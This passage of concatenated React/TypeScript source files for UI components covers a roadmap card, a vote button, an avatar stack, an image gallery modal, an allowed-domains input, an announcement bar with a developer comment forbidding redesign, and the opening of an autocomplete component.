</div>\n\n      <div className=\"min-h-[72px] flex items-center\">\n        <p className=\"text-h4 text-ods-text-secondary line-clamp-3\">\n          {item.description || ''}\n        </p>\n      </div>\n\n      <div className=\"flex-1\" />\n\n      <div className=\"flex items-center justify-between w-full\">\n        {onVote && (\n          <div className=\"bg-ods-card border border-ods-border h-[48px] rounded-[6px] flex overflow-hidden\">\n            <RoadmapVoteButton\n              voteType=\"up\"\n              count={item.upvotes}\n              color=\"var(--color-text-secondary)\"\n              className=\"rounded-none\"\n              isActive={userVote === 'up'}\n              onClick={() => onVote('up')}\n              disabled={isVoting}\n            />\n            <RoadmapVoteButton\n              voteType=\"down\"\n              count={item.downvotes}\n              className=\"rounded-none\"\n              color=\"var(--color-text-secondary)\"\n              isActive={userVote === 'down'}\n              onClick={() => onVote('down')}\n              disabled={isVoting}\n            />\n          </div>\n        )}\n\n        <div className=\"flex items-center gap-2 min-w-0\">\n          {item.assignees && item.assignees.length > 0 ? (\n            <AvatarStack size=\"xs\" people={assigneePeople(item.assignees)} className=\"shrink-0\" />\n          ) : null}\n          {item.screenshots && item.screenshots.length > 0 && (\n            <Button\n              variant=\"outline\"\n              size=\"small-legacy\"\n              onClick={() => setShowScreenshots(true)}\n              leftIcon={<ImageIcon className=\"w-5 h-5\" />}\n            />\n          )}\n          {(() => {\n            const figmaSafe = safeHref(item.figmaUrl)\n            return figmaSafe ? (\n              <Button\n                variant=\"outline\"\n                size=\"small-legacy\"\n                openInNewTab\n                href={figmaSafe}\n                leftIcon={<FigmaIcon className=\"w-5 h-5\" />}\n              />\n            ) : null\n          })()}\n          {item.targetVersion && (\n            <StatusBadge\n              gen={generationTierFromLabel(item.targetVersion)}\n              text={item.targetVersion}\n            />\n          )}\n        </div>\n      </div>\n\n      {item.screenshots && item.screenshots.length > 0 && (\n        <ImageGalleryModal\n          images={item.screenshots}\n          isOpen={showScreenshots}\n          onClose={() => setShowScreenshots(false)}\n        />\n      )}\n    </div>\n  )\n}\n","'use client'\n\n/**\n * RoadmapVoteButton — small thumbs-up / thumbs-down vote button used by\n * `RoadmapCard`'s `default` variant. Pure presentation; click handler\n * comes from the parent (typically a `useRoadmapVoting` hook).\n */\n\nimport React from 'react'\nimport { ThumbsUpIcon } from '../../icons/thumbs-up-icon'\nimport { ThumbsDownIcon } from '../../icons/thumbs-down-icon'\nimport { Button } from '../../ui/button/button'\nimport { cn } from '../../../utils/cn'\n\nexport interface RoadmapVoteButtonProps {\n  voteType: 'up' | 'down'\n  count: number\n  isActive: boolean\n  onClick: () => void\n  disabled?: boolean\n  showCount?: boolean\n  color?: string\n  className?: string\n}\n\nexport function RoadmapVoteButton({\n  voteType,\n  count,\n  isActive,\n  onClick,\n  disabled = false,\n  showCount = true,\n  color,\n  className,\n}: RoadmapVoteButtonProps) {\n  const Icon = voteType === 'up' ? ThumbsUpIcon : ThumbsDownIcon\n  return (\n    <Button\n      variant=\"outline\"\n      onClick={onClick}\n      disabled={disabled}\n      leftIcon={<Icon className=\"w-5 h-5\" color={color} />}\n      className={cn(\n        className,\n        'bg-ods-bg border-0 border-ods-border flex gap-[2px] items-center justify-center p-[12px] h-full',\n        'disabled:cursor-not-allowed disabled:opacity-50',\n        'hover:bg-ods-border transition-all',\n        isActive && 'bg-ods-border',\n      )}\n    >\n      {showCount && <span className=\"text-h6\">{count}</span>}\n    </Button>\n  )\n}\n","'use client'\n\nimport { SquareAvatar } from './square-avatar'\nimport { cn } from '../../utils/cn'\n\n/**\n * AvatarStack — the shared overlapping-avatar cluster (\"facepile\"): up to\n * `max` round `SquareAvatar`s overlapped by one avatar-third, then a \"+N\"\n * count circle for the rest. Promoted from the meeting-scheduler (context\n * panel + directory rows both stacked hosts by hand) so every future\n * multi-person cluster reuses ONE recipe.\n */\n\nexport interface AvatarStackPerson {\n  name: string\n  avatarUrl?: string | null\n  /** Stable render key — pass when names can collide or be blank\n   *  (e.g. ClickUp member id). Falls back to name+index. */\n  key?: string | number\n}\n\nexport interface AvatarStackProps {\n  people: AvatarStackPerson[]\n  /** Avatars shown before collapsing into the \"+N\" circle. */\n  max?: number\n  /** Size bucket (also sizes the \"+N\" circle). `xs` (24px) is for\n   *  dense card meta rows (chat compact cards, delivery rows). */\n  size?: 'xs' | 'sm' | 'md' | 'lg'\n  /** Ring color class separating overlapped avatars from each other —\n   *  MUST match the surface the stack sits on (default: card surface).\n   *  Without the surface-colored ring, overlapping photos read as one\n   *  smeared blob — the ring is what makes a stack look deliberate. */\n  ringClassName?: string\n  className?: string\n}\n\nconst OVERFLOW_CIRCLE_SIZE: Record<NonNullable<AvatarStackProps['size']>, string> = {\n  xs: 'h-6 w-6',\n  sm: 'h-8 w-8',\n  md: 'h-10 w-10',\n  lg: 'h-12 w-12',\n}\n\nexport function AvatarStack({\n  people,\n  max = 3,\n  size = 'md',\n  ringClassName = 'ring-ods-card',\n  className,\n}: AvatarStackProps) {\n  if (people.length === 0) return null\n  const visible = people.slice(0, max)\n  const overflow = people.slice(max)\n  return (\n    <div\n      className={cn('flex items-center', className)}\n      role=\"group\"\n      aria-label={`Assignees: ${people.map((p) => p.name).join(', ')}`}\n    >\n      {visible.map((person, i) => (\n        <SquareAvatar\n          key={person.key ?? `${person.name}-${i}`}\n          variant=\"round\"\n          size={size}\n          src={person.avatarUrl ?? undefined}\n          alt={person.name}\n          fallback={person.name}\n          title={person.name}\n          className={cn('relative ring-2', ringClassName, i > 0 && (size === 'xs' ? '-ml-2' : '-ml-3'))}\n          // Leftmost (primary assignee) on TOP — later avatars tuck\n          // BEHIND, so the first face is always fully visible.\n          style={{ zIndex: visible.length - i }}\n        />\n      ))}\n      {overflow.length > 0 && (\n        <span\n          title={overflow.map((p) => p.name).join(', ')}\n          className={cn(\n            'relative z-0 flex shrink-0 items-center justify-center rounded-full ring-2 bg-ods-bg text-ods-text-secondary',\n            ringClassName,\n            size === 'xs' ? '-ml-2 text-badge' : '-ml-3 text-h6',\n            OVERFLOW_CIRCLE_SIZE[size],\n          )}\n        >\n          +{overflow.length}\n        </span>\n      )}\n    </div>\n  )\n}\n","'use client';\n\nimport { useState, useEffect } from 'react';\nimport { Modal, Button } from './index';\nimport { ChevronLeft, ChevronRight } from 'lucide-react';\nimport Image from '../../embed-shims/next-image';\n\ninterface ImageGalleryModalProps {\n  images: string[];\n  isOpen: boolean;\n  onClose: () => void;\n  initialIndex?: number;\n}\n\n/**\n * Full-screen image gallery modal\n * Reusable component extracted from TMCG event detail page\n * Features: Keyboard navigation, prev/next buttons, image counter\n */\nexport function ImageGalleryModal({\n  images,\n  isOpen,\n  onClose,\n  initialIndex = 0,\n}: ImageGalleryModalProps) {\n  const [selectedImageIndex, setSelectedImageIndex] = useState(initialIndex);\n\n  // Reset to initial index when modal opens\n  useEffect(() => {\n    if (isOpen) {\n      setSelectedImageIndex(initialIndex);\n    }\n  }, [isOpen, initialIndex]);\n\n  const goToPreviousImage = () => {\n    if (selectedImageIndex > 0) {\n      setSelectedImageIndex(selectedImageIndex - 1);\n    }\n  };\n\n  const goToNextImage = () => {\n    if (selectedImageIndex < images.length - 1) {\n      setSelectedImageIndex(selectedImageIndex + 1);\n    }\n  };\n\n  // Keyboard navigation\n  useEffect(() => {\n    const handleKeyPress = (event: KeyboardEvent) => {\n      if (!isOpen) return;\n\n      switch (event.key) {\n        case 'ArrowLeft':\n          event.preventDefault();\n          goToPreviousImage();\n          break;\n        case 'ArrowRight':\n          event.preventDefault();\n          goToNextImage();\n          break;\n        case 'Escape':\n          event.preventDefault();\n          onClose();\n          break;\n      }\n    };\n\n    if (isOpen) {\n      document.addEventListener('keydown', handleKeyPress);\n      return () => {\n        document.removeEventListener('keydown', handleKeyPress);\n      };\n    }\n  }, [isOpen, selectedImageIndex, images.length]);\n\n  if (!isOpen || images.length === 0) return null;\n\n  return (\n    <Modal\n      isOpen={isOpen}\n      onClose={onClose}\n      className=\"max-w-[95vw]\"\n    >\n      <div className=\"relative flex items-center justify-center bg-black rounded-lg\">\n        {/* Navigation Buttons */}\n        {images.length > 1 && (\n          <>\n            {selectedImageIndex > 0 && (\n              <div className=\"absolute left-4 top-1/2 -translate-y-1/2 z-[10000]\">\n                <Button\n                  variant=\"transparent\"\n                  size=\"small-legacy\"\n                  onClick={goToPreviousImage}\n                  className=\"rounded-full bg-black/50 text-white hover:bg-black/70 p-2\"\n                  leftIcon={<ChevronLeft className=\"w-6 h-6\" />}\n                />\n              </div>\n            )}\n            {selectedImageIndex < images.length - 1 && (\n              <div className=\"absolute right-4 top-1/2 -translate-y-1/2 z-[10000]\">\n                <Button\n                  variant=\"transparent\"\n                  size=\"small-legacy\"\n                  onClick={goToNextImage}\n                  className=\"rounded-full bg-black/50 text-white hover:bg-black/70 p-2\"\n                  leftIcon={<ChevronRight className=\"w-6 h-6\" />}\n                />\n              </div>\n            )}\n          </>\n        )}\n\n        {/* Current Image */}\n        {images[selectedImageIndex] && (\n          <div className=\"relative w-[90vw] h-[90vh] max-w-none flex items-center justify-center\">\n            <Image\n              src={images[selectedImageIndex]}\n              alt={`Screenshot ${selectedImageIndex + 1}`}\n              fill\n              className=\"object-contain\"\n              sizes=\"90vw\"\n              priority={true}\n              unoptimized\n              onError={(e) => {\n                // Handle HEIC and other unsupported formats\n                const target = e.target as HTMLImageElement;\n                const imageUrl = images[selectedImageIndex];\n                const isHeic = imageUrl.toLowerCase().match(/\\.heic$/);\n\n                target.style.display = 'none';\n                const parent = target.parentElement;\n                if (parent && !parent.querySelector('.image-error')) {\n                  const errorDiv = document.createElement('div');\n                  errorDiv.className = 'image-error flex flex-col items-center justify-center text-white text-center px-8';\n                  errorDiv.innerHTML = `\n                    <p class=\"text-xl mb-4\">${isHeic ? 'HEIC format not supported in browser' : 'Failed to load image'}</p>\n                    <a href=\"${imageUrl}\" download class=\"px-4 py-2 bg-white/10 hover:bg-white/20 rounded border border-white/20 transition-colors\">\n                      Download original file\n                    </a>\n                  `;\n                  parent.appendChild(errorDiv);\n                }\n              }}\n            />\n          </div>\n        )}\n\n        {/* Image Counter */}\n        {images.length > 1 && (\n          <div className=\"absolute bottom-4 left-1/2 -translate-x-1/2 z-[10000] px-4 py-2 rounded-full bg-black/50 text-white text-h6\">\n            {selectedImageIndex + 1} / {images.length}\n          </div>\n        )}\n      </div>\n    </Modal>\n  );\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport { PlusCircle, X } from \"lucide-react\"\nimport { cn } from \"../../utils/cn\"\nimport { Input } from \"./input\"\nimport { Button } from \"./button\"\nimport { Label } from \"./label\"\n\ninterface AllowedDomainsInputProps {\n  value: string[]\n  onChange: (domains: string[]) => void\n  onValidate?: (domain: string) => { valid: boolean; error?: string; cleanedDomain?: string }\n  label?: string\n  placeholder?: string\n  disabled?: boolean\n  error?: string | null\n  helperText?: string\n  className?: string\n}\n\nconst AllowedDomainsInput = React.forwardRef<HTMLDivElement, AllowedDomainsInputProps>(\n  (\n    {\n      value,\n      onChange,\n      onValidate,\n      label = \"Allowed Domains\",\n      placeholder = \"example.com\",\n      disabled = false,\n      error,\n      helperText,\n      className\n    },\n    ref\n  ) => {\n    const [inputValue, setInputValue] = React.useState(\"\")\n    const [localError, setLocalError] = React.useState<string | null>(null)\n    const inputRef = React.useRef<HTMLInputElement>(null)\n\n    const displayError = error || localError\n\n    const addDomain = () => {\n      const trimmedValue = inputValue.trim()\n      if (!trimmedValue) return\n\n      // Validate if validator provided\n      if (onValidate) {\n        const validation = onValidate(trimmedValue)\n        if (!validation.valid) {\n          setLocalError(validation.error || \"Invalid domain\")\n          return\n        }\n        // Use cleaned domain if provided\n        const domainToAdd = validation.cleanedDomain || trimmedValue\n        if (!value.includes(domainToAdd)) {\n          onChange([...value, domainToAdd])\n          setLocalError(null)\n        }\n      } else {\n        // No validation, just add if not duplicate\n        if (!value.includes(trimmedValue)) {\n          onChange([...value, trimmedValue])\n        }\n      }\n      setInputValue(\"\")\n    }\n\n    const removeDomain = (index: number) => {\n      const newDomains = value.filter((_, i) => i !== index)\n      onChange(newDomains)\n    }\n\n    const handleKeyDown = (e: React.KeyboardEvent<HTMLInputElement>) => {\n      if (e.key === \"Enter\") {\n        e.preventDefault()\n        addDomain()\n      }\n    }\n\n    return (\n      <div ref={ref} className={cn(\"space-y-3\", className)}>\n        {label && <Label>{label}</Label>}\n\n        {/* Existing domains */}\n        {value.map((domain, index) => (\n          <div key={index} className=\"flex items-center gap-2\">\n            <Input\n              value={domain}\n              disabled\n              className=\"bg-ods-card border-ods-border rounded-[6px] flex-1\"\n            />\n            <Button\n              type=\"button\"\n              variant=\"transparent\"\n              size=\"small-legacy\"\n              leftIcon={<X className=\"h-4 w-4\" />}\n              onClick={() => removeDomain(index)}\n              disabled={disabled}\n              className=\"text-ods-text-secondary hover:text-ods-text-primary shrink-0\"\n            />\n          </div>\n        ))}\n\n        {/* Add new domain input */}\n        <div className=\"flex items-center gap-2\">\n          <Input\n            ref={inputRef}\n            value={inputValue}\n            onChange={(e) => {\n              setInputValue(e.target.value)\n              setLocalError(null)\n            }}\n            onKeyDown={handleKeyDown}\n            placeholder={placeholder}\n            disabled={disabled}\n            className=\"bg-ods-card border-ods-border rounded-[6px] flex-1\"\n          />\n        </div>\n\n        {/* Add Domain button */}\n        <button\n          type=\"button\"\n          className={cn(\n            \"flex items-center gap-2 py-2 text-ods-text-primary hover:text-ods-accent transition-colors\",\n            disabled && \"opacity-50 cursor-not-allowed\"\n          )}\n          onClick={addDomain}\n          disabled={disabled}\n        >\n          <PlusCircle className=\"h-5 w-5 text-ods-text-secondary\" />\n          <span className=\"text-h6 font-bold\">Add Domain</span>\n        </button>\n\n        {/* Error message */}\n        {displayError && (\n          <p className=\"text-h6 text-ods-error\">{displayError}</p>\n        )}\n\n        {/* Helper text */}\n        {helperText && !displayError && (\n          <p className=\"text-h6 text-ods-text-secondary\">{helperText}</p>\n        )}\n      </div>\n    )\n  }\n)\n\nAllowedDomainsInput.displayName = \"AllowedDomainsInput\"\n\nexport { AllowedDomainsInput }\nexport type { AllowedDomainsInputProps }\n","'use client';\n\nimport type { CSSProperties, ReactElement, ReactNode } from 'react';\nimport { cn } from '../../utils/cn';\n\n/**\n * Mirrors `screens.md` in tailwind.config.ts (800px), which is also where the\n * ODS responsive tokens step up (ods-responsive-tokens.css). ONE breakpoint\n * for the whole bar: the `md:` variants below and the `onContentClick` guard\n * must never disagree (they did before — the guard read a stale 768px while\n * the CSS switched at 800px).\n */\nconst MD_QUERY = '(min-width: 800px)';\n\nexport interface AnnouncementBarViewProps {\n  /**\n   * Leading slot — typically an icon, at content width before the title. Size\n   * it in the slot: the bar's icon runs 20px below `md` and 24px from `md` up,\n   * and no ODS icon token carries that pair (`--icon-size-icon-size` is 16/24).\n   */\n  startAdornment?: ReactNode;\n  /**\n   * Bar message, always ONE line. A plain string gets the strip's text\n   * treatment (`text-h6`, truncating); pass a ReactElement to own the markup\n   * (e.g. bold title + inline description truncating as one unit).\n   */\n  title?: string | ReactElement;\n  /**\n   * Primary CTA, at content width after the title. Hidden below `md`, where\n   * the content row becomes the tap target instead (`onContentClick`) — the\n   * banner pattern's touch-first tradeoff.\n   */\n  actionBlock?: ReactElement;\n  /** Trailing slot (e.g. a dismiss button). Outside the tap target, every breakpoint. */\n  endAdornment?: ReactElement;\n  /**\n   * Below `md` only: fires when the content row is tapped, standing in for the\n   * `actionBlock` that is CSS-hidden at that width. No-op from `md` up, where\n   * the CTA is visible and owns the interaction.\n   */\n  onContentClick?: () => void;\n  /** Extra classes for the padded content row (e.g. a cursor affordance). */\n  contentClassName?: string;\n  /** Surface styling (background, text color, theme scope) is the consumer's — pass it here. */\n  className?: string;\n  style?: CSSProperties;\n}\n\n/**\n * ============================================================================\n * DO NOT REDESIGN THIS BAR. THIS IS THE FINAL, OWNER-APPROVED DESIGN.\n * ============================================================================\n * The 44px single-line strip below is DELIBERATE and has already been\n * regressed and reverted. Read this before you touch a single class:\n *\n *   - #1542 (Michael Assraf) RESTORED this exact 44px / text-h6 / compact-CTA\n *     design after it drifted.\n *   - #1545 \"redesigned\" it into a 56px, text-h4, stacked-mobile bar.\n *   - #1551 REVERTED #1545's UI wholesale, back to THIS.\n *\n * Do NOT:\n *   - bump the height (min-h-11 / 44px), the text scale (text-h6), the icon\n *     size (20/24px), or the CTA size (compact),\n *   - re-introduce a stacked / multi-row / full-width-CTA mobile layout,\n *   - \"match a new mockup\", \"improve\", \"modernize\", or \"clean up\" any of it.\n *\n * This design is the source of truth. A Figma frame is NOT authorization to\n * change it. If you genuinely believe it must change, get Michael's explicit\n * written sign-off on the PR FIRST — otherwise your change WILL be reverted\n * again, exactly like #1545 was. Touch it and you own the revert.\n * ============================================================================\n *\n * Pure presentational announcement/notification bar. No data fetching,\n * storage, or navigation — consumers own state and pass content through slots.\n *\n * Anatomy follows the announcement-bar industry standard: ONE line of text at\n * 13-14px inside a 44px-tall strip (guides converge on 40-60px with a single\n * sentence; two stacked 18px rows blow past that), ONE compact CTA on the\n * right, and a trailing dismiss slot. Spacing is the ODS responsive tokens,\n * which step at the same 800px as `md`: `l` = 16/24px edge padding, `s` =\n * 8/12px gap, `m` = CTA offset, `xs` = 4/8px.\n */\nexport function AnnouncementBarView({\n  startAdornment,\n  title,\n  actionBlock,\n  endAdornment,\n  onContentClick,\n  contentClassName,\n  className,\n  style,\n}: AnnouncementBarViewProps) {\n  const handleContentClick = onContentClick\n    ? () => {\n        if (!window.matchMedia(MD_QUERY).matches) onContentClick();\n      }\n    : undefined;\n\n  return (\n    <div className={cn('flex w-full max-w-full min-h-11 items-center', className)} style={style}>\n      {/* Content row — the tap target below `md`, where the CTA is hidden.\n          Its vertical padding never drives the height; the 44px strip does. */}\n      <div\n        className={cn(\n          'flex min-w-0 flex-1 flex-row items-center gap-[var(--spacing-system-s)] py-[var(--spacing-system-xs)] pl-[var(--spacing-system-l)]',\n          // The strip's right inset normally comes from the endAdornment\n          // wrapper's `mr`; without a trailing slot nothing padded the right\n          // edge and the CTA/text sat flush against it. Mirror the `l` edge\n          // padding in that case.\n          !endAdornment && 'pr-[var(--spacing-system-l)]',\n          contentClassName,\n        )}\n        onClick={handleContentClick}\n      >\n        {startAdornment && <div className=\"flex shrink-0 items-center\">{startAdornment}</div>}\n        {typeof title === 'string' ? (\n          <p className=\"mb-0 min-w-0 max-w-full flex-1 truncate text-h6\">{title}</p>\n        ) : (\n          title != null && <div className=\"min-w-0 max-w-full flex-1\">{title}</div>\n        )}\n        {/* Below `md` the CTA is visually replaced by the row-wide tap target,\n            but a `display:none` button is unreachable by keyboard and AT. So\n            it is only visually hidden there (`sr-only`) and reveals itself on\n            focus — the row stays the touch affordance while Tab still reaches\n            a real, labelled control. `md:` restores the normal inline CTA.\n\n            The wrapper stops click propagation: below `md` the CTA lives INSIDE\n            the content row (which owns `onContentClick`), so a keyboard/AT\n            activation of the revealed button would bubble up and fire the row\n            handler too — and both resolve to the same CTA action, opening two\n            tabs for `target=\"_blank\"`. Stopping here keeps the row tap target\n            for empty space while making the button the sole handler when hit. */}\n        {actionBlock && (\n          <div\n            className=\"ml-[var(--spacing-system-m)] sr-only shrink-0 focus-within:not-sr-only md:not-sr-only md:flex\"\n            onClick={e => e.stopPropagation()}\n          >\n            {actionBlock}\n          </div>\n        )}\n      </div>\n      {/* Trailing slot. Its own 32px hit box optically re-centers the glyph\n          against the 16/24px left edge. */}\n      {endAdornment && (\n        <div className=\"ml-[var(--spacing-system-xs)] mr-[var(--spacing-system-m)] shrink-0\">{endAdornment}</div>\n      )}\n    </div>\n  );\n}\n","\"use client\"\n\nimport {\n  type ChangeEvent,\n  type ForwardedRef,\n  type KeyboardEvent,\n  type MouseEvent as ReactMouseEvent,\n  type ReactElement,\n  type ReactNode,\n  forwardRef,\n  useEffect,\n  useImperativeHandle,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\"\n\nimport * as PopoverPrimitive from \"@radix-ui/react-popover\"\nimport * as ScrollAreaPrimitive from \"@radix-ui/react-scroll-area\"\n\nimport { CheckIcon } from \"../icons-v2-generated/signs-and-symbols/check-icon\"\nimport { TrashIcon } from \"../icons-v2-generated/interface/trash-icon\"\nimport { XmarkCircleIcon } from \"../icons-v2-generated/signs-and-symbols/xmark-circle-icon\"\nimport { Chevron02DownIcon } from \"../icons-v2-generated/arrows/chevron-02-down-icon\"\n\nimport { Loader2 } from \"lucide-react\"\nimport { cn } from \"../../utils/cn\"\nimport { TruncateText } from \"./truncate-text\"\nimport { useAutoLimitTags } from \"../../hooks/ui/use-auto-limit-tags\"\nimport { useKeyboardCollisionPadding } from \"../../hooks/ui/use-keyboard-collision-padding\"\nimport { FieldWrapper } from \"./field-wrapper\"\nimport { HiddenTagsPopup } from \"./hidden-tags-popup\"\nimport { Tag } from \"./tag\"\n\nexport interface AutocompleteOption<T = string> {\n  label: string\n  value: T\n}\n\nexport type AutocompleteInputChangeReason = 'input' | 'reset' | 'clear'\n\ninterface AutocompleteBaseProps<T = string> {\n  /** Available options to select from */\n  options: AutocompleteOption<T>[]\n  /** Placeholder text */\n  placeholder?: string\n  /** Whether the component is disabled */\n  disabled?: boolean\n  /** Element displayed at the start of the input */\n  startAdornment?: ReactNode\n  /** Whether to show clear button */\n  showClearAll?: boolean\n  /** Custom className for the container */\n  className?: string\n  /** Custom className for the dropdown */\n  dropdownClassName?: string\n  /** When true, allows creating new options by typing */\n  freeSolo?: boolean\n  /** Label for the input */\n  label?: string\n  /** Label scale forwarded to FieldWrapper (\"large\" = text-h4 for designs with body-scale field titles) */\n  labelVariant?: \"default\" | \"large\"\n  /** Error message displayed below the field */\n  error?: string\n  /** Custom filter function */\n  filterOptions?: (options: AutocompleteOption<T>[], inputValue: string) => AutocompleteOption<T>[]\n  /** Render custom option content */\n  renderOption?: (option: AutocompleteOption<T>, isSelected: boolean) => ReactNode\n  /** When true, shows validation error styling */\n  invalid?: boolean\n  /** No options text */\n  noOptionsText?: string\n  /** Controlled input value. When provided, the component won't manage input state internally. */\n  inputValue?: string\n  /** Callback when input value changes (typing, selection, clearing). Fires in both controlled and uncontrolled modes. */\n  onInputChange?: (value: string, reason: AutocompleteInputChangeReason) => void\n  /** Loading state */\n  loading?: boolean\n  /** Loading text */\n  loadingText?: string\n  /** When true, shows a clickable \"+ Create\" option when no results match the input */\n  creatable?: boolean\n  /** Callback fired after a new option is created via creatable. Use it to persist the new option server-side, etc. */\n  onCreateOption?: (inputValue: string) => void\n  /** Max length for a created option. When exceeded, creation is blocked and a hint is shown. Omit for no limit. */\n  maxCreateLength?: number\n  /** When set, each unselected option shows a hover trash button that calls this. Omit to hide delete. */\n  onDeleteOption?: (value: T) => void\n  isDeletingOption?: boolean\n  /** When true, disables built-in client-side filtering (useful when options are filtered server-side via onInputChange) */\n  disableClientFilter?: boolean\n  /** Whether to show the chevron icon. Default true */\n  showChevron?: boolean\n  /** Whether to clear the input when the dropdown opens (single mode only). Default true */\n  clearOnOpen?: boolean\n}\n\nexport interface AutocompleteSingleProps<T = string> extends AutocompleteBaseProps<T> {\n  /** Single-select mode (default) */\n  multiple?: false\n  /** Currently selected value */\n  value: T | null\n  /** Callback when selection changes */\n  onChange: (value: T | null) => void\n}\n\nexport interface AutocompleteMultipleProps<T = string> extends AutocompleteBaseProps<T> {\n  /** Enable multi-select mode */\n  multiple: true\n  /** Currently selected values */\n  value: T[]\n  /** Callback when selection changes */\n  onChange: (value: T[]) => void\n  /** Maximum number of items that can be selected */\n  maxItems?: number\n  /** Render custom tag content */\n  renderTag?: (option: AutocompleteOption<T>) => ReactNode\n  /** Maximum number of visible tags. Set to \"auto\" for automatic calculation based on available width. Default \"auto\" */\n  limitTags?: number | \"auto\"\n  /** Custom render function for the \"+N\" overflow chip */\n  getLimitTagsText?: (more: number) => ReactNode\n}\n\nexport type AutocompleteProps<T = string> = AutocompleteSingleProps<T> | AutocompleteMultipleProps<T>\n\n// Inner input styles matching Input component\nconst innerInputStyles = cn(\n  \"flex-1 min-w-[60px] bg-transparent border-none outline-none\",\n  \"text-h4\",\n  \"text-ods-text-primary placeholder:text-ods-text-secondary\",\n  // Disabled - match Input exactly (value greys out, placeholder dims further)\n  \"disabled:cursor-not-allowed disabled:text-ods-text-disabled disabled:placeholder:text-ods-border\"\n)\n\nfunction AutocompleteInner<T = string>(\n  props: AutocompleteProps<T>,\n  ref: ForwardedRef<HTMLDivElement>\n) {\n  const {\n    options,\n    disabled = false,\n    startAdornment,\n    showClearAll = true,\n    className,\n    dropdownClassName,\n    freeSolo = false,\n    label,\n    labelVariant,\n    error,\n    filterOptions,\n    renderOption,\n    invalid = false,\n    noOptionsText = \"No options\",\n    inputValue: inputValueProp,\n    onInputChange,\n    loading = false,\n    loadingText = \"Loading...\",\n    creatable = false,\n    onCreateOption,\n    maxCreateLength,\n    onDeleteOption,\n    isDeletingOption = false,\n    disableClientFilter = false,\n    showChevron = true,\n    clearOnOpen = true,\n  } = props\n\n  const multiple = props.multiple ?? false\n  const placeholder = props.placeholder ?? (multiple ? \"Add More...\" : \"Select...\")\n\n  // Multiple-only props\n  const maxItems = multiple ? (props as AutocompleteMultipleProps<T>).maxItems : undefined\n  const renderTag = multiple ? (props as AutocompleteMultipleProps<T>).renderTag : undefined\n  const limitTagsProp = multiple ? ((props as AutocompleteMultipleProps<T>).limitTags ?? \"auto\") : \"auto\"\n  const getLimitTagsText = multiple\n    ? ((props as AutocompleteMultipleProps<T>).getLimitTagsText ?? ((more: number) => `+${more}`))\n    : ((more: number) => `+${more}`)\n\n  // Normalize value to array for internal use\n  const valueArray: T[] = multiple\n    ? (props.value as T[])\n    : (props.value != null ? [props.value as T] : [])\n\n  const [internalInputValue, setInternalInputValue] = useState(\"\")\n  const isInputControlled = inputValueProp !== undefined\n  const inputValue = isInputControlled ? inputValueProp : internalInputValue\n\n  const updateInputValue = (value: string, reason: AutocompleteInputChangeReason) => {\n    if (!isInputControlled) {\n      setInternalInputValue(value)\n    }\n    onInputChange?.(value, reason)\n  }\n\n  const [isOpen, setIsOpen] = useState(false)\n  const [highlightedIndex, setHighlightedIndex] = useState(-1)\n  const keyboardPadding = useKeyboardCollisionPadding()\n  const containerRef = useRef<HTMLDivElement>(null)\n  const hiddenTagsPopupRef = useRef<HTMLDivElement>(null)\n\n  const isInvalid = invalid || !!error\n\n  // Combine refs\n  useImperativeHandle(ref, () => containerRef.current as HTMLDivElement)\n\n  // Get selected options\n  const selectedOptions = useMemo(() => {\n    return valueArray.map(v => options.find(opt => opt.value === v) ?? { label: String(v), value: v })\n  }, [valueArray, options])\n\n  // Single mode: the currently selected option\n  const selectedOption = !multiple && selectedOptions.length > 0 ? selectedOptions[0] : null\n\n  // Placeholder logic\n  const inputPlaceholder = multiple\n    ? (valueArray.length === 0 ? placeholder : \"Add More...\")\n    : placeholder\n\n  // ---- Auto limit tags via shared hook ----\n  const autoLimitTags = useAutoLimitTags({\n    count: multiple ? selectedOptions.length : 0,\n    limitTags: multiple ? limitTagsProp : 0,\n    placeholder: inputPlaceholder,\n  })\n\n  const visibleCount = multiple ? autoLimitTags.visibleCount : 0\n  const visibleTags = multiple ? selectedOptions.slice(0, visibleCount) : []\n  const hiddenTags = multiple ? selectedOptions.slice(visibleCount) : []\n  const hiddenTagsCount = multiple ? selectedOptions.length - visibleCount : 0\n\n  const [showHiddenTags, setShowHiddenTags] = useState(false)\n  const hiddenTagsRef = useRef<HTMLDivElement>(null)\n\n  // Close hidden tags list on outside click\n  useEffect(() => {\n    if (!showHiddenTags) return\n    const handleClick = (e: MouseEvent) => {\n      const target = e.target as Node\n      const inButton = hiddenTagsRef.current?.contains(target)\n      const inPopup = hiddenTagsPopupRef.current?.contains(target)\n      if (!inButton && !inPopup) {\n        setShowHiddenTags(false)\n      }\n    }\n    document.addEventListener(\"mousedown\", handleClick)\n    return () => document.removeEventListener(\"mousedown\", handleClick)\n  }, [showHiddenTags])\n\n  // Synchronously open dropdown, pre-filling input when clearOnOpen is false\n  const openDropdown = () => {\n    if (!multiple && !clearOnOpen && selectedOption) {\n      updateInputValue(selectedOption.label, 'reset')\n    }\n    setShowHiddenTags(false)\n    setIsOpen(true)\n  }\n\n  // Input display value:\n  // - Single mode, closed, has selection → show selected label\n  // - Single mode, open, clearOnOpen=false → show inputValue (pre-filled with label)\n  // - Otherwise → show inputValue (what user is typing)\n  const inputDisplayValue = !multiple && !isOpen && selectedOption\n    ? selectedOption.label\n    : inputValue\n\n  // Filter options based on inputValue\n  const filteredOptions = useMemo(() => {\n    if (disableClientFilter) {\n      return options\n    }\n\n    if (filterOptions) {\n      return filterOptions(options, inputValue)\n    }\n\n    if (!inputValue.trim()) {\n      return options\n    }\n\n    const lowerInput = inputValue.toLowerCase()\n    return options.filter(opt =>\n      opt.label.toLowerCase().includes(lowerInput)\n    )\n  }, [options, inputValue, filterOptions, disableClientFilter])\n\n  // Show \"+ Create\" option when creatable is on, user typed something, and nothing matched\n  const showCreateOption = creatable && inputValue.trim().length > 0 && filteredOptions.length === 0\n  const isCreateTooLong = maxCreateLength != null && inputValue.trim().length > maxCreateLength\n\n  // Handle creating a new option\n  const handleCreate = () => {\n    const trimmed = inputValue.trim()\n    if (!trimmed || (maxCreateLength != null && trimmed.length > maxCreateLength)) return\n\n    const newValue = trimmed as T\n\n    if (multiple) {\n      if (maxItems && valueArray.length >= maxItems) return\n      (props as AutocompleteMultipleProps<T>).onChange([...valueArray, newValue])\n    } else {\n      (props as AutocompleteSingleProps<T>).onChange(newValue)\n    }\n\n    updateInputValue(\"\", 'reset')\n    setIsOpen(false)\n    onCreateOption?.(trimmed)\n  }\n\n  // Reset highlighted index when options change\n  useEffect(() => {\n    setHighlightedIndex(-1)\n  }, [filteredOptions.length])\n\n  